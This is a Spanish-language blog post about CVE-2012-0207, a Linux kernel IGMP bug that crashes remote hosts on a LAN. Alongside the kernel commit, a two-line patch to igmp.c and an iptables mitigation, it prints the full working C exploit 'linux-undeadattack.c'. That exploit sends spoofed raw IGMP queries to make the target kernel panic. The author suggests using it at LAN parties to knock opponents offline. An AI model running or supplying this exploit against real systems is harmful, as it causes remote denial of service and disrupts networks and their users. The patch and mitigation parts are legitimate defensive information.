19 ene 2012

0day Linux IGMP Lan crash CVE-2012-0207 + Patch

El dia de hoy se publicó en seclist un 0day que usa el IGMP para crashear una red en LAN.
El bug afecta a todos los kernel Linux 2.6.36 o superiores, dado que la falla o regresion, fue introducida en el 2.6.36.
Si bien es solo en LAN, como dijo uno de los chicos de seclist acerca de "ah bueno es solo en lan", cito textual:

"Depends. Your network security people ever read BCP38? :)"


Eso es básicamente, el spoof de red, es decir, hacer creer al host remoto que el paquete proviene de la misma LAN.
A continuación un video del PoC, y luego comentaré algo.









Reporte de commit en kernel.org:


http://www.kernel.org/pub/linux/kernel/v3.0/ChangeLog-3.2.1
commit 25c413ad0029ea86008234be28aee33456e53e5b
Author: Ben Hutchings <ben@decadent.org.uk>
Date:   Mon Jan 9 14:06:46 2012 -0800

    igmp: Avoid zero delay when receiving odd mixture of IGMP queries
 
    commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.
 
    Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
    behavior on v3 query during v2-compatibility mode') added yet another
    case for query parsing, which can result in max_delay = 0.  Substitute
    a value of 1, as in the usual v3 case.
 
    Reported-by: Simon McVittie <smcv@debian.org>
    References: http://bugs.debian.org/654876
    Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
    Signed-off-by: David S. Miller <davem@davemloft.net>

Parche, por si alguno quiere aplicarlo en caso de no tener updates y su kernel no es 3.x

From: Ben Hutchings <ben@decadent.org.uk>

commit a8c1f65c79cbbb2f7da782d4c9d15639a9b94b27 upstream.

Commit 5b7c84066733c5dfb0e4016d939757b38de189e4 ('ipv4: correct IGMP
behavior on v3 query during v2-compatibility mode') added yet another
case for query parsing, which can result in max_delay = 0.  Substitute
a value of 1, as in the usual v3 case.

Reported-by: Simon McVittie <smcv@debian.org>
References: http://bugs.debian.org/654876
Signed-off-by: Ben Hutchings <ben@decadent.org.uk>
Signed-off-by: David S. Miller <davem@davemloft.net>

---
 net/ipv4/igmp.c |    2 ++
 1 file changed, 2 insertions(+)
--- a/net/ipv4/igmp.c
+++ b/net/ipv4/igmp.c
@@ -875,6 +875,8 @@ static void igmp_heard_query(struct in_d
  * to be intended in a v3 query.
  */
  max_delay = IGMPV3_MRC(ih3->code)*(HZ/IGMP_TIMER_SCALE);
+ if (!max_delay)
+ max_delay = 1; /* can't mod w/ 0 */
  } else { /* v3 */
  if (!pskb_may_pull(skb, sizeof(struct igmpv3_query)))
  return;




Bueno, se puede ver en el video claramente como el sistema remoto o atacado crashea de forma inmediata.
Respecto a lo que me concierne, cabe comentar, que Fedora 15 y 16 ya fixearon sus kernel el dia 11 de Enero de 2012, detalle:

"Correction.The 3.1.9 kernel contains corresponding backport commit dd9f9823b61ce894163433380ffcfc28eaf6e9c5. The 3.2.1 kernel contains corresponding backport commit 25c413ad0029ea86008234be28aee33456e53e5b."All Fedora branches are already fixed."

Ahora bien, RHEL 6.1 aun no tiene patch, openSUSE tampoco, Ubuntu y muchos mas, asi que, si quieren divertirse en una LAN party, dejando sin red al oponente, es ideal, otros fines, son delictivos y este post no es para fomentar el hack ilegal, que quede bien claro.

El que tenga un sistema sin update de kernel, puede bajar el 3.2.1 o ultimo stable y compilarlo, o bien aplicar el parche a igmp.c o bien si es mas vago, usar una regla de iptables como esta:

iptables -A INPUT -i <interface> -p igmp -j DROP (generalmente eth0 o wlan0)

Codigo del exploit:



/*
** linux-undeadattack.c
** Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)
** CVE-2012-0207
** credits to Ben Hutchings:
** http://womble.decadent.org.uk/blog/igmp-denial-of-service-in-linux-cve-2012-0207.html
** written By Kingcope
** Year 2012
** Ripped & modified code written by Firestorm
** Tested against * OpenSuSE 11.4 system
**  * Recent Ubuntu Distro
**
** Example:
** ./undeadattack 192.168.2.16 192.168.2.3
** The Linux Kernel at the remote side will Panic
** when sent over the network :>
** ENJOY!
*/

#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/time.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>


struct iphdr
{
  unsigned char ihl:4, version:4, tos;
  unsigned short tot_len, id, frag_off;
  unsigned char ttl, protocol;
  unsigned short check;
  unsigned int saddr, daddr;
  unsigned int options1;
  unsigned int options2;
};


struct igmp_query {
        unsigned char type;
        unsigned char maxresponse;
        unsigned short csum;
        unsigned int mcast;
        char padding[40];
};


unsigned short in_chksum(unsigned short *, int);
long resolve(char *);


long resolve(char *host)
{
  struct hostent *hst;
  long addr;


  hst = gethostbyname(host);
  if (hst == NULL)
    return(-1);


  memcpy(&addr, hst->h_addr, hst->h_length);


  return(addr);
}


int main(int argc, char *argv[])
{
  struct sockaddr_in dst;
  struct iphdr *ip;
  struct igmp_query *igmp;
  long daddr, saddr;
  int s, i=0, c, len, one=1;
  char buf[1500];


  if (argc < 3)
  {
    printf("Linux IGMP Remote Denial Of Service (Introduced in linux-2.6.36)\n"
  "credits to Ben Hutchings\nwritten by Kingcope\n"
  "Ripped & modified code written by Firestorm\n");
    printf("Usage: %s <src> <dst>\n", *argv);
    return(1);
  }


  daddr = resolve(argv[2]);
  saddr = resolve(argv[1]);

  memset(buf, 0, 1500);
  ip = (struct iphdr *)&buf;
  igmp = (struct igmp_query*)&buf[sizeof(struct iphdr)];

  dst.sin_addr.s_addr = daddr;
  dst.sin_family = AF_INET;

  ip->ihl = 7;
  ip->version = 4;
  ip->tos = 0;
  ip->tot_len = htons(sizeof(struct iphdr)+8);
  ip->id = htons(18277);
  ip->frag_off=0;
  ip->ttl = 1;
  ip->protocol = IPPROTO_IGMP;
  ip->check = in_chksum((unsigned short *)ip, sizeof(struct iphdr));
  ip->saddr = saddr;
  ip->daddr = daddr;
  ip->options1 = 0;
  ip->options2 = 0;
  igmp->type = 0x11;
  igmp->maxresponse = 0xff;
  igmp->mcast=inet_addr("224.0.0.1");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 8);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+8,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  close(s);

  s = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
  if (s == -1)
    return(1);

  ip->id = htons(18278);
  ip->tot_len = sizeof(struct iphdr)+12;
  igmp->type = 0x11;
  igmp->maxresponse = 0;
  igmp->mcast=inet_addr("0.0.0.0");

  igmp->csum = 0; //For computing the checksum, the Checksum field is set to zero.
  igmp->csum=in_chksum((unsigned short *)igmp, 12);

  printf("Sending IGMP packet: %s -> %s\n", argv[1], argv[2]);

      if (sendto(s,&buf,sizeof(struct iphdr)+12,0,(struct sockaddr *)&dst,sizeof(struct sockaddr_in)) == -1)
      {
        perror("Error sending packet");
        exit(-1);
      }

  return(0);
}


unsigned short in_chksum(unsigned short *addr, int len)
{
   register int nleft = len;
   register int sum = 0;
   u_short answer = 0;

   while (nleft > 1) {
      sum += *addr++;
      nleft -= 2;
   }


   if (nleft == 1) {
      *(u_char *)(&answer) = *(u_char *)addr;
      sum += answer;
   }


   sum = (sum >> 16) + (sum & 0xffff);
   sum += (sum >> 16);
   answer = ~sum;
   return(answer);
}

Disclaimer:

El codigo y patch es para un PoC, con fines educativos, en un ambiente controlado, cualquier uso para activivades no legales, no se responsabiliza este blog.

No hay comentarios:

Publicar un comentario

Dejá tu comentario